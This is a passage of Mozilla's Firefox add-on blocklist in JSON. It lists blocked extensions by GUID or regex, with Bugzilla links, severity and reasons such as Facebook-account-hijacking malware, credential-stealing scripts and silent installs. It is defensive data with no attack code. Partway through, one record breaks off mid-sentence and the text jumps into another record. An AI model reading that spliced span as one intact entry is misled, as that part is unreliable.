malware that hijacks Facebook accounts.”,”name”:”Facebook Video Pack (malware)”,”created”:”2013-11-14T09:37:06Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”85ee7840-f262-ad30-eb91-74b3248fd13d”,”last_modified”:1480349215276},{“guid”:”brasilescapeeight@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i482″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=938476″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks Facebook accounts.”,”name”:”Mozilla Security Pack (malware)”,”created”:”2013-11-14T09:36:55Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”457a5722-be90-5a9f-5fa0-4c753e9f324c”,”last_modified”:1480349215249},{“guid”:”happylyrics@hpyproductions.net”,”prefs”:[],”schema”:1480349193877,”blockID”:”i370″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=881815″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into Firefox without the users’ consent, violating our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Happy Lyrics”,”created”:”2013-06-11T15:42:24Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”730e616d-94a7-df0c-d31a-98b7875d60c2″,”last_modified”:1480349215225},{“guid”:”search-snacks@search-snacks.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i872″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1082733″,”who”:”All users who have this add-on installed. Users who wish to continue using the add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of our <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Search Snacks”,”created”:”2015-03-04T14:37:33Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”7567b06f-98fb-9400-8007-5d0357c345d9″,”last_modified”:1480349215198},{“os”:”WINNT”,”guid”:”{ABDE892B-13A8-4d1b-88E6-365A6E755758}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i107″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=764210″,”who”:”All Firefox users on Windows who have the RealPlayer Browser Record extension installed.”,”why”:”The RealPlayer Browser Record extension is causing significant problems on Flash video sites like YouTube. This block automatically disables the add-on, but users can re-enable it from the Add-ons Manager if necessary.\r\n\r\nThis block shouldn’t disable any other RealPlayer plugins, so watching RealPlayer content on the web should be unaffected.\r\n\r\nIf you still have problems playing videos on YouTube or elsewhere, please visit our <a href=\”http://support.mozilla.com/\”>support site</a> for help.”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2012-06-14T13:54:27Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”15.0.5″,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e3b89e55-b35f-8694-6f0e-f856e57a191d”,”last_modified”:1480349215173},{“guid”:”/(\\{7aeae561-714b-45f6-ace3-4a8aed6e227b\\})|(\\{01e86e69-a2f8-48a0-b068-83869bdba3d0\\})|(\\{77f5fe49-12e3-4cf5-abb4-d993a0164d9e\\})/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i436″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=891606″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on doesn’t follow the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>, changing Firefox default settings and not reverting them on uninstall. If you want to continue using this add-on, it can be enabled in the Add-ons Manager.”,”name”:”Visual Bee”,”created”:”2013-08-09T15:04:44Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”ad6dc811-ab95-46fa-4bff-42186c149980″,”last_modified”:1480349215147},{“guid”:”amo-validator-bypass@example.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1058″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1227605″,”who”:”All users who install this add-on.”,”why”:”This add-on is a proof of concept of a malicious add-on that bypasses the code validator.”,”name”:” AMO Validator Bypass”,”created”:”2015-11-24T09:03:01Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”86e38e3e-a729-b5a2-20a8-4738b376eea6″,”last_modified”:1480349214743},{“guid”:”6lIy@T.edu”,”prefs”:[],”schema”:1480349193877,”blockID”:”i852″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1128269″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and performs unwanted actions, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”unIsaless”,”created”:”2015-02-09T15:30:27Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”39798bc2-9c75-f172-148b-13f3ca1dde9b”,”last_modified”:1480349214613},{“guid”:”{394DCBA4-1F92-4f8e-8EC9-8D2CB90CB69B}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i100″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=761339″,”who”:”All Firefox users who have Lightshot 2.5.0 installed.”,”why”:”The Lightshot add-on, version 2.5.0, is causing widespread and frequent crashes in Firefox. Lightshot users are strongly recommended to update to version 2.6.0 as soon as possible.”,”name”:”Lightshot”,”created”:”2012-06-05T09:24:51Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”2.5.0″,”minVersion”:”2.5.0″,”targetApplication”:[]}],”id”:”57829ea2-5a95-1b6e-953c-7c4a7b3b21ac”,”last_modified”:1480349214568},{“guid”:”{a7f2cb14-0472-42a1-915a-8adca2280a2c}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i686″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1033809″,”who”:”All users who have this add-on installed. Users who wish to continue using this add-on can enable it in the Add-on Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”HomeTab”,”created”:”2014-08-06T16:35:39Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”33a8f403-b2c8-cadf-e1ba-40b39edeaf18″,”last_modified”:1480349214537},{“guid”:”{CA8C84C6-3918-41b1-BE77-049B2BDD887C}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i862″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1131230″,”who”:”All users who have this add-on installed. Users who wish to continue using the add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of our <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Ebay Shopping Assistant by Spigot”,”created”:”2015-02-26T12:51:25Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9a9d6da2-90a1-5b71-8b24-96492d57dfd1″,”last_modified”:1480349214479},{“guid”:”update@firefox.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i374″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=781088″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious extension that hijacks Facebook accounts.”,”name”:”Premium Update (malware)”,”created”:”2013-06-18T13:58:38Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bb388413-60ea-c9d6-9a3b-c90df950c319″,”last_modified”:1480349214427},{“guid”:”sqlmoz@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i350″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=871610″,”who”:”All Firefox users who have this extension installed.”,”why”:”This extension is malware posing as Mozilla software. It hijacks Facebook accounts and spams other Facebook users.”,”name”:”Mozilla Service Pack (malware)”,”created”:”2013-05-13T09:43:07Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”715082e8-7a30-b27b-51aa-186c38e078f6″,”last_modified”:1480349214360},{“guid”:”iobitapps@mybrowserbar.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i562″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=948695″,”who”:”All Firefox users who have this add-on installed. If you wish to continue using it, it can be enabled in the Add-ons Manager.”,”why”:”This add-on is installed silently and changes users settings without reverting them, in violation of the <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”IObit Apps Toolbar”,”created”:”2014-02-27T10:00:54Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”be9a54f6-20c1-7dee-3aea-300b336b2ae5″,”last_modified”:1480349214299},{“guid”:”{9e09ac65-43c0-4b9d-970f-11e2e9616c55}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i376″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=857847″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This add-on is malware that hijacks Facebook accounts and posts content on it.”,”name”:”The Social Networks (malware)”,”created”:”2013-06-18T14:16:25Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”753638b4-65ca-6d71-f1f5-ce32ba2edf3b”,”last_modified”:1480349214246},{“guid”:”mozillahmpg@mozilla.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i140″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=791867″,”who”:”All Firefox users who have installed this add-on.”,”why”:”This is a malicious add-on that tries to monetize on its users by embedding unauthorized affiliate codes on shopping websites, and sometimes redirecting users to alternate sites that could be malicious in nature.”,”name”:”Google YouTube HD Player (malware)”,”created”:”2012-09-17T16:04:10Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”98150e2e-cb45-1fee-8458-28d3602ec2ec”,”last_modified”:1480349214216},{“guid”:”astrovia@facebook.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i489″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=942699″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is malware that hijacks Facebook accounts.”,”name”:”Facebook Security Service (malware)”,”created”:”2013-11-25T12:40:30Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”6f365ff4-e48f-8a06-d19d-55e19fba81f4″,”last_modified”:1480349214157},{“guid”:”{bbea93c6-64a3-4a5a-854a-9cc61c8d309e}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i1126″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1251940″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that disables various security checks in Firefox.”,”name”:”Tab Extension (malware)”,”created”:”2016-02-29T21:58:10Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”5acb9dcc-59d4-46d1-2a11-1194c4948239″,”last_modified”:1480349214066},{“guid”:”ffxtlbr@iminent.com”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i628″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=866943″,”who”:”All Firefox users who have any of these add-ons installed. Users who wish to continue using them can enable them in the Add-ons Manager.”,”why”:”These add-ons have been silently installed repeatedly, and change settings without user consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Iminent Minibar”,”created”:”2014-06-26T15:47:15Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”4387ad94-8500-d74d-68e3-20564a9aac9e”,”last_modified”:1480349214036},{“guid”:”{28387537-e3f9-4ed7-860c-11e69af4a8a0}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i40″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=665775″,”who”:”Users of MediaBar versions 4.3.1.00 and below in all versions of Firefox.”,”why”:”This add-on causes a high volume of crashes and is incompatible with certain versions of Firefox.”,”name”:”MediaBar (2)”,”created”:”2011-07-19T10:19:41Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”4.3.1.00″,”minVersion”:”0.1″,”targetApplication”:[]}],”id”:”ff95664b-93e4-aa73-ac20-5ffb7c87d8b7″,”last_modified”:1480349214002},{“guid”:”{41e5ef7a-171d-4ab5-8351-951c65a29908}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i784″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”HelpSiteExpert”,”created”:”2014-11-14T14:37:56Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”0c05a0bb-30b4-979e-33a7-9f3955eba17d”,”last_modified”:1480349213962},{“guid”:”/^({2d7886a0-85bb-4bf2-b684-ba92b4b21d23}|{2fab2e94-d6f9-42de-8839-3510cef6424b}|{c02397f7-75b0-446e-a8fa-6ef70cfbf12b}|{8b337819-d1e8-48d3-8178-168ae8c99c36}|firefox@neurowise.info|firefox@allgenius.info)$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i762″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1082599″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”These add-ons are silently installed into users’ systems, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”SaveSense, neurowise, allgenius”,”created”:”2014-10-17T16:58:10Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”c5439f55-ace5-ad73-1270-017c0ba7b2ce”,”last_modified”:1480349213913},{“guid”:”{462be121-2b54-4218-bf00-b9bf8135b23f}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i226″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=812303″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently side-installed by other software, and doesn’t do much more than changing the users’ settings, without reverting them on removal.”,”name”:”WhiteSmoke”,”created”:”2012-11-29T16:27:36Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”994c6084-e864-0e4e-ac91-455083ee46c7″,”last_modified”:1480349213879},{“guid”:”firefox@browsefox.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i546″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=936244″,”who”:”All Firefox users who have this add-on installed. If you want to continue using it, it can be enabled in the Add-ons Manager.”,”why”:”This add-on is silently installed, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”BrowseFox”,”created”:”2014-01-30T12:26:57Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”407d8c84-8939-cd28-b284-9b680e529bf6″,”last_modified”:1480349213853},{“guid”:”{6926c7f7-6006-42d1-b046-eba1b3010315}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i382″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=844956″,”who”:”All Firefox users who have this add-on installed. Those who wish to continue using it can enable it again in the Add-ons Manager.”,”why”:”This add-on is silently installed, bypassing the Firefox opt-in screen and violating our <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”appbario7″,”created”:”2013-06-25T12:05:34Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2367bd94-2bdd-c615-de89-023ba071a443″,”last_modified”:1480349213825},{“guid”:”faststartff@gmail.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i866″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1131217″,”who”:”All users who have this add-on installed. Users who wish to continue using the add-on can enable it in the Add-ons Manager.”,”why”:”This add-on is silently installed into users’ systems, in violation of our <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Fast Start”,”created”:”2015-02-26T13:12:47Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”9e730bca-c7d1-da82-64f6-c74de216cb7d”,”last_modified”:1480349213799},{“guid”:”05dd836e-2cbd-4204-9ff3-2f8a8665967d@a8876730-fb0c-4057-a2fc-f9c09d438e81.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i468″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=935135″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be part of a <a href=\”https://www.drwebhk.com/en/virus_techinfo/Trojan.DownLoader9.50268.html\”>Trojan software</a> package.”,”name”:”Trojan.DownLoader9.50268 (malware)”,”created”:”2013-11-07T14:43:39Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”2fd53d9b-7096-f1fb-fbcb-2b40a6193894″,”last_modified”:1480349213774},{“guid”:”jid1-0xtMKhXFEs4jIg@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i586″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1011286″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on appears to be malware installed without user consent.”,”name”:”ep (malware)”,”created”:”2014-06-03T15:50:19Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”50ca2179-83ab-1817-163d-39ed2a9fbd28″,”last_modified”:1480349213717},{“guid”:”/^({16e193c8-1706-40bf-b6f3-91403a9a22be}|{284fed43-2e13-4afe-8aeb-50827d510e20}|{5e3cc5d8-ed11-4bed-bc47-35b4c4bc1033}|{7429e64a-1fd4-4112-a186-2b5630816b91}|{8c9980d7-0f09-4459-9197-99b3e559660c}|{8f1d9545-0bb9-4583-bb3c-5e1ac1e2920c})$/”,”prefs”:[],”schema”:1480349193877,”blockID”:”i517″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=947509″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”The installer that includes this add-on violates the <a href=\”https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a> by silently installing the add-on, and using multiple add-on IDs.”,”name”:”Re-markit”,”created”:”2013-12-20T12:54:33Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”e88a28ab-5569-f06d-b0e2-15c51bb2a4b7″,”last_modified”:1480349213344},{“guid”:”safebrowse@safebrowse.co”,”prefs”:[],”schema”:1480349193877,”blockID”:”i782″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1097696″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on loads scripts with malicious code that appears intended to steal usernames, passwords, and other private information.”,”name”:”SafeBrowse”,”created”:”2014-11-12T14:20:44Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”edd81c91-383b-f041-d8f6-d0b9a90230bd”,”last_modified”:1480349213319},{“guid”:”{af95cc15-3b9b-45ae-8d9b-98d08eda3111}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i492″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=945126″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious Firefox extension that uses a deceptive name and hijacks users’ Facebook accounts.”,”name”:”Facebook (malware)”,”created”:”2013-12-02T12:45:06Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”7064e9e2-fba4-7b57-86d7-6f4afbf6f560″,”last_modified”:1480349213294},{“guid”:”{84a93d51-b7a9-431e-8ff8-d60e5d7f5df1}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i744″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1080817″,”who”:”All Firefox users who have this add-on installed. Users who wish to continue using it can enable it in the Add-ons Manager.”,”why”:”This add-on appears to be silently installed into users’ systems, and changes settings without consent, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Spigot Shopping Assistant”,”created”:”2014-10-17T15:47:06Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”dbc7ef8b-2c48-5dae-73a0-f87288c669f0″,”last_modified”:1480349213264},{“guid”:”{C3949AC2-4B17-43ee-B4F1-D26B9D42404D}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i918″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1170633″,”who”:”All Firefox users who have this add-on installed in Firefox 39 and above.\r\n”,”why”:”Certain versions of this extension are causing startup crashes in Firefox 39 and above.\r\n”,”name”:”RealPlayer Browser Record Plugin”,”created”:”2015-06-02T09:58:16Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[{“guid”:”{ec8030f7-c20a-464f-9b0e-13a3a9e97384}”,”maxVersion”:”*”,”minVersion”:”39.0a1″}]}],”id”:”7f2a68f3-aa8a-ae41-1e48-d1f8f63d53c7″,”last_modified”:1480349213231},{“guid”:”831778-poidjao88DASfsAnindsd@jetpack”,”prefs”:[],”schema”:1480349193877,”blockID”:”i972″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1190962″,”who”:”All users who have this add-on installed.”,”why”:”This is a malicious add-on that hijacks Facebook accounts.”,”name”:”Video patch (malware)”,”created”:”2015-08-04T15:18:03Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”39471221-6926-e11b-175a-b28424d49bf6″,”last_modified”:1480349213194},{“guid”:”lbmsrvfvxcblvpane@lpaezhjez.org”,”prefs”:[],”schema”:1480349193877,”blockID”:”i342″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=863385″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed, violating our <a href=\”https://developer.mozilla.org/en-US/docs/Addons/Add-on_guidelines\”>Add-on Guidelines</a>. It also appears to install itself both locally and globally, producing a confusing uninstall experience.”,”name”:”RapidFinda”,”created”:”2013-05-06T16:18:14Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”98fb4536-07a4-d03a-f7c5-945acecc8203″,”last_modified”:1480349213128},{“guid”:”{babb9931-ad56-444c-b935-38bffe18ad26}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i499″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=946086″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This is a malicious Firefox extension that uses a deceptive name and hijacks users’ Facebook accounts.”,”name”:”Facebook Credits (malware)”,”created”:”2013-12-04T15:22:02Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”be1d19fa-1662-322a-13e6-5fa5474f33a7″,”last_modified”:1480349213100},{“guid”:”{18d5a8fe-5428-485b-968f-b97b05a92b54}”,”prefs”:[“browser.startup.homepage”,”browser.search.defaultenginename”],”schema”:1480349193877,”blockID”:”i802″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1080839″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed and is considered malware, in violation of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Astromenda Search Addon”,”created”:”2014-12-15T10:52:49Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”bc846147-cdc1-141f-5846-b705c48bd6ed”,”last_modified”:1480349213074},{“guid”:”{b6ef1336-69bb-45b6-8cba-e578fc0e4433}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i780″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Power-SW”,”created”:”2014-11-12T14:00:47Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”3b080157-2900-d071-60fe-52b0aa376cf0″,”last_modified”:1480349213024},{“guid”:”info@wxdownloadmanager.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i196″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=806451″,”who”:”All Firefox users who have these add-ons installed.”,”why”:”These are malicious add-ons that are distributed with a trojan and negatively affect web browsing.”,”name”:”Codec (malware)”,”created”:”2012-11-05T09:24:13Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”b62597d0-d2cb-d597-7358-5143a1d13658″,”last_modified”:1480349212999},{“os”:”WINNT”,”guid”:”{C3949AC2-4B17-43ee-B4F1-D26B9D42404D}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i111″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=771802″,”who”:”All Firefox users on Windows who have the RealPlayer Browser Record extension installed.”,”why”:”The RealPlayer Browser Record extension is causing significant problems on Flash video sites like YouTube. This block automatically disables the add-on, but users can re-enable it from the Add-ons Manager if necessary.\r\n\r\nThis block shouldn’t disable any other RealPlayer plugins, so watching RealPlayer content on the web should be unaffected.\r\n\r\nIf you still h
er”,”created”:”2016-03-01T21:20:05Z”},”enabled”:true,”versionRange”:[{“severity”:3,”maxVersion”:”*”,”minVersion”:”0″,”targetApplication”:[]}],”id”:”aa246b36-0a80-81e3-2129-4847e872d5fe”,”last_modified”:1480349207262},{“guid”:”toolbar@ask.com”,”prefs”:[],”schema”:1480349193877,”blockID”:”i612″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1024719″,”who”:”All Firefox users who have these versions of the Ask Toolbar installed. Users who wish to continue using it can enable it in the Add-ons Manager.\r\n”,”why”:”Certain old versions of the Ask Toolbar are causing problems to users when trying to open new tabs. Using more recent versions of the Ask Toolbar should also fix this problem.\r\n”,”name”:”Ask Toolbar (old Avira Security Toolbar bundle)”,”created”:”2014-06-12T14:23:00Z”},”enabled”:true,”versionRange”:[{“severity”:1,”maxVersion”:”3.15.24.*”,”minVersion”:”3.15.24″,”targetApplication”:[]}],”id”:”e0ff9df4-60e4-dbd0-8018-57f395e6610a”,”last_modified”:1480349206818},{“guid”:”{1e4ea5fc-09e5-4f45-a43b-c048304899fc}”,”prefs”:[],”schema”:1480349193877,”blockID”:”i812″,”details”:{“bug”:”https://bugzilla.mozilla.org/show_bug.cgi?id=1073810″,”who”:”All Firefox users who have this add-on installed.”,”why”:”This add-on is silently installed into users’ systems. It uses very unsafe practices to load its code, and leaks information of all web browsing activity. These are all violations of the <a href=\”https://developer.mozilla.org/en-US/Add-ons/Add-on_guidelines\”>Add-on Guidelines</a>.”,”name”:”Great 